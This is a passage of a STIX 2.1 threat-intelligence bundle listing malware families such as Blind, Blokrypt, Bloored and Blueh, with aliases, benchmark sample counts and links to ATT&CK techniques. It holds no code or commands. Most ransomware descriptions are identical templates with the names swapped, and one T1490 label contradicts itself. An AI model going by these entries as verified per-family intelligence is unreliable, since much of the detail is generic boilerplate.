      "spec_version": "2.1",
      "id": "malware--2c2abbdd-47b8-5f78-89e1-635ca6741f07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blind",
      "description": "Blind (classified in antivirus detection telemetry under designations including Ransom:Win32/Blind, Ransom.Win32.Blind, and Win32/Blind) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Blind executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blind",
        "Ransom.Win32.Blind",
        "Win32/Blind"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blind",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blind"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d650d2d5-6f8c-5205-bdfc-ed8eb7b629da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c2abbdd-47b8-5f78-89e1-635ca6741f07",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blind exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37cef198-489a-56e8-a185-089b3d6e5639",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c2abbdd-47b8-5f78-89e1-635ca6741f07",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blind exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7b9855c-da4c-5fb2-b5a3-e9f2f0ead29d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c2abbdd-47b8-5f78-89e1-635ca6741f07",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blind exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcc5fbd8-02d4-5bfd-b442-01368e092419",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c2abbdd-47b8-5f78-89e1-635ca6741f07",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blind exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db74f7f5-1656-50cd-a660-320d2a60530b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c2abbdd-47b8-5f78-89e1-635ca6741f07",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blind exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b26ef2e-5b60-56f2-a480-f0c1514e77f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blokrypt",
      "description": "Blokrypt (classified in antivirus detection telemetry under designations including Ransom:Win32/Blokrypt, Ransom.Win32.Blokrypt, and Win32/Blokrypt) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Blokrypt executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom.Blokrypt",
        "Win32/Filecoder.Blokrypt",
        "Trojan-Ransom.Win32.Blokrypt",
        "Ransom:Win32/Blokrypt",
        "Ransom.Win32.Blokrypt",
        "Win32/Blokrypt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blokrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blokrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c7e37b0-8022-5408-918c-5e882db027e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b26ef2e-5b60-56f2-a480-f0c1514e77f2",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blokrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92aa2b23-77f8-5848-bce4-41ec822b5ed1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b26ef2e-5b60-56f2-a480-f0c1514e77f2",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blokrypt exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0c905c3-333c-5f23-b54c-c622fa1afe3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b26ef2e-5b60-56f2-a480-f0c1514e77f2",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blokrypt exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e35ea09-6d26-5b75-9d88-c953148ab39e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b26ef2e-5b60-56f2-a480-f0c1514e77f2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blokrypt exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d8e27df1-ac1a-5cd0-9ab0-5dca7f75500c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bloored",
      "description": "Bloored (cataloged in antivirus vendor databases under detections including Trojan:Win32/Bloored, Trojan.Bloored, and Trojan.Win32.Bloored) is a generic Windows trojan and initial access dropper active since 2014. Distributed predominantly through deceptive software bundles, video codec installers, and cracked software activators, Bloored employs multi-stage execution routines to evade static endpoint heuristics. Upon installation, the malware unpacks encrypted payloads in memory, injects code into running system processes, and disables local Windows security controls and notification services. Bloored beacons host telemetry (including computer name, operating system version, and installed antivirus software) to remote attacker-controlled command-and-control servers, subsequently downloading and staging secondary threats such as adware injectors, ransomware precursors, and cryptocurrency miners. Persistence is maintained through registry modifications under Windows CurrentVersion\\Run and hidden startup folder entries. (Observed samples in benchmark: 74)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bloored",
        "Trojan.Bloored",
        "Trojan.Win32.Bloored"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bloored",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bloored"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec919c23-8d95-5c3a-8b36-7a022ea9a676",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8e27df1-ac1a-5cd0-9ab0-5dca7f75500c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bloored exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcc86fcb-7c6d-5eab-9406-115329c81cae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8e27df1-ac1a-5cd0-9ab0-5dca7f75500c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bloored exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c274d81-f30b-5e47-8adb-35044bd1b720",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8e27df1-ac1a-5cd0-9ab0-5dca7f75500c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bloored exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6ccc543-e803-5f8f-a045-70fa4c5760a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8e27df1-ac1a-5cd0-9ab0-5dca7f75500c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bloored exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--400b8d93-ee60-54f2-bc68-5a095695d9ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8e27df1-ac1a-5cd0-9ab0-5dca7f75500c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bloored exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--af30dc0b-e8ee-543e-809a-c5ff70cf60ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blouiroet",
      "description": "Blouiroet (identified in antimalware telemetry under signatures including Ransom:Win32/Blouiroet, Trojan-Ransom.Win32.Blouiroet, and Trojan.Blouiroet) is a destructive crypto-ransomware and extortion threat active since 2016. Infiltrating endpoints primarily through phishing email campaigns containing weaponized office documents and exploit kit redirections, Blouiroet initiates rapid host reconnaissance upon execution. It terminates database, backup, and antimalware processes via taskkill, releasing open file locks across local drives and network shares. Blouiroet traverses directory trees, encrypting documents, spreadsheets, databases, source code, and archives using AES-256 with an embedded RSA public key. It executes vssadmin commands to purge Volume Shadow Copies, modifies desktop wallpaper to display an extortion notice, and demands cryptocurrency payment in exchange for a decryption utility. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blouiroet",
        "Trojan-Ransom.Win32.Blouiroet",
        "Trojan.Blouiroet",
        "Win32/Blouiroet",
        "Ransom:Win32/Blouiroet.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blouiroet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blouiroet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0180395-d424-54d6-9f31-c833909b9ecd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blubot",
      "description": "Blubot (classified in antivirus detection telemetry under designations including Ransom:Win32/Blubot, Ransom.Win32.Blubot, and Win32/Blubot) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Blubot executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blubot",
        "Ransom.Win32.Blubot",
        "Win32/Blubot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blubot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blubot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f1d1e39-5fa3-50bd-ad7c-3653039ed7bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0180395-d424-54d6-9f31-c833909b9ecd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blubot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c40ac62-31c3-55ca-b3e4-ffee379c21c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0180395-d424-54d6-9f31-c833909b9ecd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blubot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d7db0b1-4b09-5b87-a181-9ef4d02a5802",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0180395-d424-54d6-9f31-c833909b9ecd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blubot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ee18a50-070e-5e94-8819-e9da084c60f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0180395-d424-54d6-9f31-c833909b9ecd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blubot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38c480eb-abb8-5154-8730-3589edf908d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0180395-d424-54d6-9f31-c833909b9ecd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blubot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8eeffdc2-e706-5bc2-a233-025fdbce5e9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blueeagle",
      "description": "Blueeagle (classified in antivirus detection telemetry under designations including Ransom:Win32/Blueeagle, Ransom.Win32.Blueeagle, and Win32/Blueeagle) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Blueeagle executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blueeagle",
        "Ransom.Win32.Blueeagle",
        "Win32/Blueeagle"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blueeagle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blueeagle"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4a1537a-ca91-5e83-9592-aca95d12d6ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8eeffdc2-e706-5bc2-a233-025fdbce5e9f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueeagle exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f9d9d6b-81ac-5072-8df4-2b0b8d33e291",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8eeffdc2-e706-5bc2-a233-025fdbce5e9f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueeagle exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc56816c-715f-5e2a-ac24-18ed9b82a1fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8eeffdc2-e706-5bc2-a233-025fdbce5e9f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueeagle exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--261f56d6-fe85-5583-b7f7-f93368bc3a51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8eeffdc2-e706-5bc2-a233-025fdbce5e9f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueeagle exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94a81d98-2706-56f6-8f6d-3b2f13896489",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8eeffdc2-e706-5bc2-a233-025fdbce5e9f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueeagle exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a78cb2f2-e416-5157-8c1a-0fb5610ce92b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blueh",
      "description": "Blueh (classified in antivirus detection telemetry under designations including Ransom:Win32/Blueh, Ransom.Win32.Blueh, and Win32/Blueh) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Blueh executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blueh",
        "Ransom.Win32.Blueh",
        "Win32/Blueh"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blueh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blueh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e6648a7-86ed-53f9-806a-f59cd8b63b37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a78cb2f2-e416-5157-8c1a-0fb5610ce92b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueh exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c91719e-2dc2-5711-87d6-018d7cc9b83e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a78cb2f2-e416-5157-8c1a-0fb5610ce92b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueh exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--670c0b12-1ab8-525a-b755-34724154af99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a78cb2f2-e416-5157-8c1a-0fb5610ce92b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueh exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a9d1a42-088a-5d57-bff7-88607809ff16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a78cb2f2-e416-5157-8c1a-0fb5610ce92b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueh exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ee2284b-9815-5fbf-9243-bdc4941edd8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a78cb2f2-e416-5157-8c1a-0fb5610ce92b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blueh exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9fa54bc-af4f-58f9-874e-a48f1db9b867",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bluewushu",
      "description": "Bluewushu (classified in antivirus detection telemetry under designations including Ransom:Win32/Bluewushu, Ransom.Win32.Bluewushu, and Win32/Bluewushu) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bluewushu executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bluewushu",
        "Ransom.Win32.Bluewushu",
        "Win32/Bluewushu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bluewushu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bluewushu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0747569-ad23-512e-bdda-b7c8042774b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
